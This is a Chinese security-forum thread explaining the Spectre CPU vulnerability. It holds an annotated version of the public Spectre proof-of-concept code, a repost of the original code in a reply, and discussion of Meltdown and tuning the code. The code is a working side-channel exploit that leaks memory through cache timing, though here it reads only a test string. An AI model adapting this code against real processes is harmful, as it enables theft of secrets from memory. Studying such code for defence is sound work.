首页
论坛
专栏
课程

[分享] 最近比较火的CPU漏洞之Spectre解析,附带修改过带注释源码一份

2018-1-7 14:07 6427

[分享] 最近比较火的CPU漏洞之Spectre解析,附带修改过带注释源码一份

2018-1-7 14:07
6427
先说结果,由于CPU乱序执行和分支预测功能,可以通过判断需要读取的页面是否被 cache 缓存来判断内存中存在什么内容。
注:此漏洞仅能预测当前程序可访问的地址,如果需要访问内核空间则需要处理CPU的异常,因此需要intel CPU的 TSX 功能,这也是为什么metaldown仅影响intel的CPU,本篇不涉及metaldown,不详细展开。
简单粗暴,直接上本帅改过的代码,含中文注释,不谢。
/*
	modify by:CSZQ
*/

/*
	配置
*/
#define __DEBUG			0												// 调试模式开关,会打开额外输出
#define __TRYTIMES		50												// 每个字符尝试读取次数
/*
	测试读取的数据
*/
#define __MAGICWORDS	"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"		
#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1)				// 测试数据长度
/*
	cache 命中阀值,是一个经验值,不成功9.9可能这里不对,默认值 50 ,可以通过 -t 传参修改
	该数值与内存质量、CPU多项参数有关,是一个经验值,下面给出一些基于本帅移动端的 CPU Intel I7-4700MQ 给出的参数取值
	取值大致范围:16 - 176
*/
#define CACHE_HIT_THRESHOLD (50)


/*
	头文件
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <intrin.h>
#pragma optimize("gt",on)


/*
	全局变量
*/
unsigned int array1_size = 16;											// 前 16 个字符
uint8_t array1[160]      = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };	// 一个字典
uint8_t array2[256 * 512];								// 256 对应一个字节所能代表的最大个数(2^8)
const char *secret       = __MAGICWORDS;								// 测试读取的数据
int iThreshold           = CACHE_HIT_THRESHOLD;							// 读取时间阀值


/*
	使用 temp 全局变量阻止编译器优化 victim_function()
*/
uint8_t temp = 0;

void victim_function(size_t x) {

	/*
		x 取值 0 - 15 时 获取 arrary2 的 1 - 16 分组 & temp 后赋值给 temp
		temp 一直为 0
		发生 evil 分支预测:
		array1[x] 在 5 次分支预测时加载的值就是当前需要读取的虚拟地址
		array2[array1[x] * 512] 在 5 次分支预测期间读取的是 0 - 127 * 512 所在地址的 array2 数组内容
		其他分支预测:
		array1[x] cache 中的是根据尝试次数获取到的正常 array1 数组标准值
		array2[array1[x] * 512] 在cache中缓存的是  1 - 16 号字符
	*/
	if (x < array1_size) {
		temp &= array2[array1[x] * 512];
	}
}


void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
	static int results[256];			// 对应一个字节所能代表的最大个数(2^8)
	int tries, i, j, k, mix_i;
	unsigned int junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t *addr;

	for (i = 0; i < 256; i++)
		results[i] = 0;

	/*
		每个字符多次尝试获取以增加成功率
	*/
	for (tries = __TRYTIMES; tries > 0; tries--) {

		/*
			清空 array2 的每 512 字节首地址 cache
		*/
		for (i = 0; i < 256; i++)
			_mm_clflush(&array2[i * 512]);								// _mm_clflush:Invalidate and flush the cache line that contains p from all levels of the cache hierarchy

		training_x = tries % array1_size;

		/*
			训练 CPU 缓存需要的数据
		*/
		for (j = 29; j >= 0; j--) {
			_mm_clflush(&array1_size);									// 清空 array1_size 的缓存

			/*
				100 次内存取值用作延时,确保 cache 页全部换出
			*/
			for (volatile int z = 0; z < 100; z++) {}

			/*
				在这一步:
				j % 6 =  0 则 x = 0xFFFF0000
				j % 6 != 0 则 x = 0x00000000
				Avoid jumps in case those tip off the branch predictor
			*/
			x = ((j % 6) - 1) & ~0xFFFF;

			/*
				到这里:
				j % 6 =  0 则 x = 0xFFFFFFFF
				j % 6 != 0 则 x = 0x00000000
			*/
			x = (x | (x >> 16));

			/*
				最后:
				j % 6 =  0 则 x = malicious_x
				j % 6 != 0 则 x = training_x
			*/
			x = training_x ^ (x & (malicious_x ^ training_x));

			/*
				调用触发 cache 代码
				共计触发 5 次,j = 24、18、12、6、0时,都会触发分支预测
			*/
			victim_function(x);
		}
		/*
			退出此函数时 cache 中已经缓存了需要越权获取的数据
		*/

		/*
			读取时间。执行顺序轻微混淆防止 stride prediction(某种分支预测方法)
			i 取值 0 - 255 对应 ASCII 码表
		*/
		for (i = 0; i < 256; i++) {
			/*
				TODO: 贼NB的数学游戏,值得叫 666
				167  0xA7  1010 0111
				13   0x0D  0000 1101
				取值结果为 0 - 255 随机数且不重复
			*/
			mix_i = ((i * 167) + 13) & 255;

			/*
				addr 取 arrary2 中 0-255 组的首地址
			*/
			addr = &array2[mix_i * 512];

			/*
				junk 保存 TSC_AUX 寄存器值
				time1 保存当前时间戳
			*/
			time1 = __rdtscp(&junk);

			/*
				获取数据,用以测试时间
			*/
			junk = *addr;

			/*
				记录并获取耗时
			*/
			time2 = __rdtscp(&junk) - time1;

			/*
				判断是否命中,且 mix_i 不能取 1 - 16,因为 1 - 16 在获取时是无效的
			*/
			if (time2 <= iThreshold && mix_i != array1[tries % array1_size])
				/*
				cache arrary2中的 0-255 项命中则 +1 分
				*/
				results[mix_i]++;
		}

		/*
			获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里
		*/
		j = k = -1;
		for (i = 0; i < 256; i++) {
			if (j < 0 || results[i] >= results[j]) {
				k = j;
				j = i;
			}
			else if (k < 0 || results[i] >= results[k]) {
				k = i;
			}
		}

		/*
			最高命中项命中次数大于 2 倍加 5 的次高命中项次数
			或
			仅仅最高命中项命中 2 次
			则
			退出循环,成功找到命中项
		*/
		if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
			break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
	}

	/*
		使用 junk 防止优化输出
	*/
	results[0] ^= junk;
	value[0] = (uint8_t)j;//最高命中项
	score[0] = results[j];//最高命中项命中次数
	value[1] = (uint8_t)k;//次高命中项
	score[1] = results[k];//次高命中项命中次数
}


int main(int argc, const char **argv) {
	size_t malicious_x = (size_t)(secret - (char*)array1); /* 相对地址 */
	int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
	char *opt, *addr;
	uint8_t value[2];

	printf("Provide by CSZQ\n");
	/*
		参数解析
	*/
	if (argc > 1) {
		opt = (char*)&argv[1][1];
		switch (*opt) {
		case 'h':
			printf("-h  help\n-t 设置阀值,建议取值 16 - 176 之间,默认 50\n");
			return 0;
		case 't':
			if (argc==2) {
				sscanf(opt + 1, "%d", &iThreshold);
			} 
			else {
				sscanf(argv[2], "%d", &iThreshold);
			}
			break;
		}
	}

	for (i = 0; i < sizeof(array2); i++)
		array2[i] = 1; /* 避免写时复制 */

#if __DEBUG > 0
	printf("Reading %d bytes:\n", iLen);
#endif
	i = iLen;
	while (--i >= 0) {

#if __DEBUG > 0
		printf("读取地址:%p ", (void*)malicious_x);
#endif

		readMemoryByte(malicious_x++, value, score);
		addr = (char*)array1 + malicious_x - 1;
		if (value[0] == *addr) {
			iCount += (score[0] > 2 * score[1]) ? 1 : 0;
		}
		
#if __DEBUG > 0
		/*
			如果最高命中项命中次数大于等于 2 倍的次高命中项,认为分支预测成功
		*/
		printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));
		printf("value:0x%02X char=%c counts=%d ", value[0],
			((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);
		if (score[1] > 0)
			printf("(可能:value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[1]);
		printf("\n");
#endif
	}
	/*
		命中次数超过 1/5 认为存在BUG,过低有可能是巧合或阀值需要调整
	*/
	printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG!!!<---" : "--->不存在BUG<---");
	printf("%d 阀值下命中率为:%d / %d\r\n", iThreshold, iCount, iLen);
	printf("按任意键退出程序...\r\n");
	getchar();

	return (0);
}

另外,欢迎加群共商大计,漏洞的其他详细资料也在群里有:
点击链接加入群【毁灭之地】:https://jq.qq.com/?_wv=1027&k=5IvpGT8
群号:610363281


[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (11)
wx_如风风 2018-1-7 14:51
2
0
这个才是源码,论坛里面有的放个EXE文件说是源代码,下载下来查杀就是个木马,后门什么的!!
CSZQ 2018-1-7 14:53
3
0
wx_如风风 这个才是源码,论坛里面有的放个EXE文件说是源代码,下载下来查杀就是个木马,后门什么的!!
反正不是本帅
davidangle 2018-1-7 17:24
4
0
可以看看蒸米大牛的分析文章
IDGHOST 2018-1-7 22:51
5
0
有个疑问,结果分析CPU存在bug,但是用来猜测内核基址数据不正确;直接猜进程基址拿到正确数据,改了PAGE_NOACCESS后也拿不到数据
TC王者 2018-1-8 09:52
6
0
厉害了兄dei
wowocock 1 2018-1-8 10:06
7
0
IDGHOST 有个疑问,结果分析CPU存在bug,但是用来猜测内核基址数据不正确;直接猜进程基址拿到正确数据,改了PAGE_NOACCESS后也拿不到数据
这个只是SPECTRE,只能读取R3的数据,R0的要MELTDOWN,还要结合INTEL的TSX,貌似没公开的代码,,顺便贴下老外的源码
#include  <windows.h>
#include  <winternl.h>
#include  <stdio.h>
#include  <stdlib.h>

#pragma  warning(disable:4996)
//#include  <stdint.h>
#ifdef  _MSC_VER
#include  <intrin.h>  /*  for  rdtscp  and  clflush  */
#pragma  optimize("gt",on)
#else
#include  <x86intrin.h>  /*  for  rdtscp  and  clflush  */
#endif

/*  There  is  some  amount  of  overlap  with  <sys/types.h>  as  known  by  inet  code  */
  #ifndef  __int8_t_defined
  #  define  __int8_t_defined
  typedef  signed  char  int8_t;
  typedef  short  int  int16_t;
  typedef  int  int32_t;
  #  if  __WORDSIZE  ==  64
  typedef  long  int  int64_t;
  #  else
  //__extension__
  typedef  long  long  int  int64_t;
  #  endif
  #endif

  /*  Unsigned.  */
  typedef  unsigned  char  uint8_t;
  typedef  unsigned  short  int  uint16_t;
  #ifndef  __uint32_t_defined
  typedef  unsigned  int  uint32_t;
  #  define  __uint32_t_defined
  #endif
  #if  __WORDSIZE  ==  64
  typedef  unsigned  long  int  uint64_t;
  #else
  //__extension__
  typedef  unsigned  long  long  int  uint64_t;
  #endif
  /********************************************************************
        Victim  code.
        ********************************************************************/
  unsigned  int  array1_size  =  16;
  uint8_t  unused1[64];
  uint8_t  array1[160]  =  {  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16  };
  uint8_t  unused2[64];
  uint8_t  array2[256  *  512];

  char  *secret  =  "The  Magic  Words  are  Squeamish  Ossifrage.";
  uint8_t  temp  =  0;  /*  Used  so  compiler  won’t  optimize  out  victim_function()  */

  void  victim_function(size_t  x)
  {
         if  (x  <  array1_size) 
         {
                 temp  &=  array2[array1[x]  *  512];
         }
  }


/********************************************************************
  Analysis  code
  ********************************************************************/
  #define  CACHE_HIT_THRESHOLD  (80)  /*  assume  cache  hit  if  time  <=  threshold  */

  /*  Report  best  guess  in  value[0]  and  runner-up  in  value[1]  */
  void  readMemoryByte(size_t  malicious_x,  uint8_t  value[2],  int  score[2])
  {
         static  int  results[256];
         int  tries,  i,  j,  k,  mix_i;
         unsigned  int  junk  =  0;
         size_t  training_x,  x;
         register  uint64_t  time1,  time2;
         volatile  uint8_t  *addr;
         volatile  int  z  =  0;

         for  (i  =  0;  i  <  256;  i++)
                 results[i]  =  0;
         for  (tries  =  999;  tries  >  0;  tries--) 
         {

                 /*  Flush  array2[256*(0..255)]  from  cache  */
                 for  (i  =  0;  i  <  256;  i++)
                         _mm_clflush(&array2[i  *  512]);  /*  intrinsic  for  clflush  instruction  */

                 /*  30  loops:  5  training  runs  (x=training_x)  per  attack  run  (x=malicious_x)  */
                 training_x  =  tries  %  array1_size;
                 for  (j  =  29;  j  >=  0;  j--) 
                 {
                         _mm_clflush(&array1_size);
                         for  (z  =  0;  z  <  100;  z++)  {}  /*  Delay  (can  also  mfence)  */

                         /*  Bit  twiddling  to  set  x=training_x  if  j%6!=0  or  malicious_x  if  j%6==0  */
                         /*  Avoid  jumps  in  case  those  tip  off  the  branch  predictor  */
                         x  =  ((j  %  6)  -  1)  &  ~0xFFFF;  /*  Set  x=FFF.FF0000  if  j%6==0,  else  x=0  */
                         x  =  (x  |  (x  >>  16));  /*  Set  x=-1  if  j&6=0,  else  x=0  */
                         x  =  training_x  ^  (x  &  (malicious_x  ^  training_x));

                         /*  Call  the  victim!  */
                         victim_function(x);
                 }
                 /*  Time  reads.  Order  is  lightly  mixed  up  to  prevent  stride  prediction  */
                 for  (i  =  0;  i  <  256;  i++) 
                 {
                         mix_i  =  ((i  *  167)  +  13)  &  255;
                         addr  =  &array2[mix_i  *  512];
                         time1  =  __rdtscp(&junk);  /*  READ  TIMER  */
                         junk  =  *addr;  /*  MEMORY  ACCESS  TO  TIME  */
                         time2  =  __rdtscp(&junk)  -  time1;  /*  READ  TIMER  &  COMPUTE  ELAPSED  TIME  */
                         if  (time2  <=  CACHE_HIT_THRESHOLD  &&  mix_i  !=  array1[tries  %  array1_size])
                                 results[mix_i]++;  /*  cache  hit  -  add  +1  to  score  for  this  value  */
                 }

                 /*  Locate  highest  &  second-highest  results  results  tallies  in  j/k  */
                 j  =  k  =  -1;
                 for  (i  =  0;  i  <  256;  i++) 
                 {
                         if  (j  <  0  ||  results[i]  >=  results[j]) 
                         {
                                 k  =  j;
                                 j  =  i;
                         } 
                         else  if  (k  <  0  ||  results[i]  >=  results[k]) 
                         {
                                 k  =  i;
                         }
                 }
                 if  (results[j]  >=  (2  *  results[k]  +  5)  ||  (results[j]  ==  2  &&  results[k]  ==  0))
                         break;  /*  Clear  success  if  best  is  >  2*runner-up  +  5  or  2/0)  */
         }
         results[0]  ^=  junk;        /*  use  junk  so  code  above  won’t  get  optimized  out*/
         value[0]  =  (uint8_t)j;
         score[0]  =  results[j];
         value[1]  =  (uint8_t)k;
         score[1]  =  results[k];
  }

int  Spectre_main(int  argc,  char*  argv[])
  {
         size_t  malicious_x;
         int  i,  len=40;
         int    score[2]  =  {0};
         uint8_t  value[2]  =  {0};

         malicious_x=(size_t)(secret-(char*)array1);  /*  default  for  malicious_x  */

         for  (i  =  0;  i  <  sizeof(array2);  i++)
                 array2[i]  =  1;  /*  write  to  array2  so  in  RAM  not  copy-on-write  zero  pages  */

         if  (argc  ==  3)
         {
                 sscanf(argv[1],  "%p",  (void**)(&malicious_x));
                 malicious_x  -=  (size_t)array1;  /*  Convert  input  value  into  a  pointer  */
                 sscanf(argv[2],  "%d",  &len);
         }

         printf("Reading  %d  bytes:\n",  len);
         while  (--len  >=  0) 
         {
                 printf("Reading  at  malicious_x  =  %p...",  (void*)malicious_x);
                 readMemoryByte(malicious_x++,  value,  score);
                 printf("%s:  ",  (score[0]  >=  2*score[1]  ?  "Success"  :  "Unclear"));
                 printf("0x%02X='%c'  score=%d  ",  value[0],(value[0]  >  31  &&  value[0]  <  127  ?  value[0]  :'?'),  score[0]);
                 if  (score[1]  >  0)
                         printf("(second  best:  0x%02X  score=%d)",  value[1],  score[1]);
                 printf("\n");
         }
         return  (0);
  }

今天不吃面 2018-1-8 11:18
8
0
101行的for  (volatile  int  z  =  0;  z  <  100;  z++)  {}
今天不吃面 2018-1-8 11:19
9
0
今天不吃面 101行的for (volatile int z = 0; z < 100; z++) {}
100  次内存取值用作延时,确保  cache  页全部换出,这里不太理解,上面_mm_clflush的操作是异步的?
yangsan 2018-1-8 22:39
10
0
谢谢分享    感谢
聖blue 2018-1-8 22:56
11
0
tianyis 2018-1-10 22:01
12
0
谢谢分享        感谢
游客
登录 | 注册 方可回帖
返回